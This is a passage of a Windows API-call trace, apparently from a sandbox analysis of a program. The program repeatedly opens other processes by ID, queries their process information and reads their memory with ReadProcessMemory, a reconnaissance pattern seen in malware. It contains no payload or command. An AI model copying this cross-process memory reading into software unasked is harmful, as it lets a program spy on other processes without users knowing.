lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.345] malloc (_Size=0x54) returned 0x20abc2a7b40 [0278.345] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x391944, lpBuffer=0x20abc2a7b40, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7b40*, lpNumberOfBytesRead=0x0) returned 1 [0278.346] free (_Block=0x20abc2a7b40) [0278.347] CloseHandle (hObject=0x16c) returned 1 [0278.349] _ui64tow_s (in: _Value=0xf78, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3960") returned 0x0 [0278.353] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3960") returned 4 [0278.355] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.355] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.371] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf78) returned 0x16c [0278.371] GetLastError () returned 0x0 [0278.372] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.372] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ab018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.372] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.373] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.373] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.374] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.375] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.375] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ab020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.375] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.376] malloc (_Size=0x6e) returned 0x20abc2831b0 [0278.376] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0278.377] free (_Block=0x20abc2831b0) [0278.377] CloseHandle (hObject=0x16c) returned 1 [0278.378] _ui64tow_s (in: _Value=0xf88, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3976") returned 0x0 [0278.382] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3976") returned 4 [0278.383] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.383] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.397] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf88) returned 0x16c [0278.397] GetLastError () returned 0x0 [0278.398] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.398] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x415018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.399] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.399] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x271c90, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.399] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2718f8, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.400] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.401] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.402] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x415020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.402] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2712e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.402] malloc (_Size=0x54) returned 0x20abc2a6f40 [0278.402] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x271944, lpBuffer=0x20abc2a6f40, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a6f40*, lpNumberOfBytesRead=0x0) returned 1 [0278.403] free (_Block=0x20abc2a6f40) [0278.403] CloseHandle (hObject=0x16c) returned 1 [0278.404] _ui64tow_s (in: _Value=0xf90, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3984") returned 0x0 [0278.408] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3984") returned 4 [0278.409] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.409] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.425] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf90) returned 0x16c [0278.425] GetLastError () returned 0x0 [0278.442] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.442] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x380018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.442] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.442] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x501cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.443] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5018f8, lpBuffer=0x2dc22fc240, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.444] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.446] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.446] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x380020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.446] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.446] malloc (_Size=0x64) returned 0x20abc2801b0 [0278.446] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x501954, lpBuffer=0x20abc2801b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0278.447] free (_Block=0x20abc2801b0) [0278.448] CloseHandle (hObject=0x16c) returned 1 [0278.448] _ui64tow_s (in: _Value=0xf9c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3996") returned 0x0 [0278.453] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3996") returned 4 [0278.454] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.454] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.471] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf9c) returned 0x16c [0278.471] GetLastError () returned 0x0 [0278.472] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.472] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fc018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.472] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.473] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521cf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.473] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5218f8, lpBuffer=0x2dc22fc240, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.474] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.476] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.476] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fc020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.476] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.476] malloc (_Size=0x72) returned 0x20abc2831b0 [0278.476] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0278.477] free (_Block=0x20abc2831b0) [0278.478] CloseHandle (hObject=0x16c) returned 1 [0278.478] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0278.483] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4016") returned 4 [0278.484] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.484] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.516] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x16c [0278.516] GetLastError () returned 0x0 [0278.517] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.518] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x211018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.518] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.518] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581d60, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.518] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581958, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.519] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.521] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.521] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x211020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.521] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x581340, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.521] malloc (_Size=0x78) returned 0x20abc282120 [0278.522] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5819c8, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0278.522] free (_Block=0x20abc282120) [0278.523] CloseHandle (hObject=0x16c) returned 1 [0278.523] _ui64tow_s (in: _Value=0xfb8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4024") returned 0x0 [0278.527] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4024") returned 4 [0278.528] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.528] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.542] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb8) returned 0x16c [0278.542] GetLastError () returned 0x0 [0278.543] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.543] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x214018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.543] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.543] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.543] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.545] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.546] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.546] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x214020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.546] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.546] malloc (_Size=0x6a) returned 0x20abc2831b0 [0278.546] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x45195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0278.547] free (_Block=0x20abc2831b0) [0278.547] CloseHandle (hObject=0x16c) returned 1 [0278.548] _ui64tow_s (in: _Value=0xfc4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4036") returned 0x0 [0278.568] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4036") returned 4 [0278.569] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.569] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.581] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc4) returned 0x16c [0278.581] GetLastError () returned 0x0 [0278.583] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.583] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x377018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.583] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.583] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x551cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.584] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5518f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.585] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.586] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.586] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x377020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.586] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.586] malloc (_Size=0x6a) returned 0x20abc2831b0 [0278.587] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x55195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0278.587] free (_Block=0x20abc2831b0) [0278.588] CloseHandle (hObject=0x16c) returned 1 [0278.588] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0278.592] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4052") returned 4 [0278.593] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.593] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.605] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x16c [0278.606] GetLastError () returned 0x0 [0278.607] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.607] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.607] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.607] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451cf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.607] 